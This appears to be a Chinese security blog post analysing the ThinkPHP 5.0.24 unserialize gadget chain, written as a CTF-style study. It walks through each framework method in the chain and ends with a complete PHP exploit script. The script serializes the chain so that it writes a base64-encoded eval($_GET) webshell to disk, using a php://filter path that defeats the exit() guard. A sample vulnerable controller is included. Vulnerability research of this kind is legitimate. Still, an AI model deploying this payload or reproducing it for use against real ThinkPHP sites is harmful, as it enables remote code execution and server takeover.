thinkPHP5.0.24反序列化链
首先我们先全局搜索__destruct(),然后可以使用think\process\pipes\Windows.php里的__destruct()
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
然后看向removeFiles()
1 2 3 4 5 6 7 8 9
| private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
由于file_exists()函数的特性,我们可以通过构造$this->files来触发__toString()魔术方法,因此,我们全局搜索__toString(),发现我们可以利用think\Model.php的__toString()
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
然后看向toJson函数,然后再看向toArray函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性 if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { // 关联模型数据集 $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { // 模型属性 $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); //$this->error $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
我们可以利用这里触发__call()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
|
我们发现$name是可控的,而且搜索这一个类,发现getError()函数可以使用
1 2 3 4
| public function getError() { return $this->error; }
|
而$this->error也是可控的,而看向Loader::parseName($name, 1, false),通过解释,发现它只是改变字符串的风格,所以$relation会是$name的值,而这里$modelRelation = $this->$relation();会调用getError()函数,然后我们再看向getRelationData()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { // 首先获取关联数据 if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
可见我们需要找到有getRelation方法的类,且这个类中的getRelation方法可以触发__call(),因此我们通过全局搜索,可以使用think\model\relation\BelongsTo.php里的getRelation方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function getRelation($subRelation = '', $closure = null) { $foreignKey = $this->foreignKey; if ($closure) { call_user_func_array($closure, [ & $this->query]); } $relationModel = $this->query ->removeWhereField($this->localKey) ->where($this->localKey, $this->parent->$foreignKey) ->relation($subRelation) ->find();
if ($relationModel) { $relationModel->setParent(clone $this->parent); }
return $relationModel; }
|
同时因为$this->query是可控的,所以我们可以构造$this->query来触发__call,所以我们需要全局搜索__call,发现按我们可以使用think\console\Output.php里的__call()
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); }
if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
|
然后再看向block()函数,然后再看向writeln()函数,然后再看向write()函数
1 2 3 4
| public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
|
此时$this->handle是可控的,所以我们可以全局搜索write,使用think\session\driver\Memcache.php里的write
1 2 3 4
| public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); }
|
使用think\cache\driver\Memcached.php的set
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } if ($this->tag && !$this->has($name)) { $first = true; } $key = $this->getCacheKey($name); //PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire; if ($this->handler->set($key, $value, $expire)) { // $this->handler->set($key, $value, $expire)为true isset($first) && $this->setTagItem($key); return true; } return false; }
|
然后我们看向赋值给$key的getCacheKry()函数,
1 2 3 4
| protected function getCacheKey($name) { return $this->options['prefix'] . $name; }
|
发现$this->options[‘prefix’]是可控的,然后我们再使用think\cache\driver\File.php的set
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function set($name, $value, $expire = null) //第二次调用时,$name=tag_.md5('123'),$value=$filename { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); //php://filter/convert.base64-decode/resource=./md5(PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name).$name.php if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
|
由于进入的数据$data会因为exit();,导致后面的数据无法使用,所以我们可以使用php伪协议的方式进行绕过,我们再次看向File.php的getCacheKey()函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { // 使用子目录 $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; // php://filter/convert.base64-decode/resource=./md5(PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name).$name.php $dir = dirname($filename);
if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
|
可知$this->option[‘path’]是可控的,所以导入数据的文件名也是可控的,所以我们可以先第一次,导入数据进文件中,致使think\cache\driver\Memcached.php中的$this->handler->set($key, $value, $expire)为true,然后致使$key进入到setTagltem中去,而$key是我们可以控制的,所以我们看向setTagltem()函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); //$this->tag='123' $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; //PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name } $this->set($key, $value, 0); //$value=$filename,$key=tag_.md5('123') } }
|
我们输入的$key会变为$name,然后文件名为 ‘tag_’ . md5($this->tag),最后再次进入File.php的set方法中,然后写入文件,按照以上的思路的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| <?php namespace think\process\pipes; class Windows { private $files = []; public function __construct() { $this->files = [new \think\model\Merge]; } } namespace think\model; use think\Model; class Merge extends Model { protected $append = []; protected $error; public function __construct() { $this->append = [ 'bb' => 'getError' ]; $this->error = (new \think\model\relation\BelongsTo); } } namespace think; class Model{}
namespace think\model\relation; class BelongsTo { protected $query; public function __construct() { $this->query = (new \think\console\Output); } } namespace think\console; class Output { protected $styles = []; private $handle = null; public function __construct() { $this->styles = ['removeWhereField']; $this->handle = (new \think\session\driver\Memcache); } }
namespace think\session\driver; class Memcache { protected $handler = null; public function __construct() { $this->handler = (new \think\cache\driver\Memcached); } } namespace think\cache\driver;
class Memcached { protected $tag; protected $options = []; protected $handler = null;
public function __construct() { $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4', ]; $this->handler = (new File); } }
class File { protected $tag; protected $options = []; public function __construct() { $this->tag = false; $this->options = [ 'expire' => '', 'cache_subdir' => '', 'prefix' => '', 'data_compress' => '', 'path' => 'php://filter/convert.base64-decode/resource=./', ]; } }
echo base64_encode(serialize(new \think\process\pipes\Windows));
|
然后在application的lndex.php文件中构造
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace app\index\controller;
class Index { public function index() { $a=$_GET[1]; unserialize(base64_decode($a)); return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>'; } }
|
然后get提交base64加密的值,即可在本目录下生成文件
参考文章:[https://www.cnblogs.com/xiaozhiru/p/12452528.html]
[https://blog.csdn.net/qq_41891666/article/details/107503710]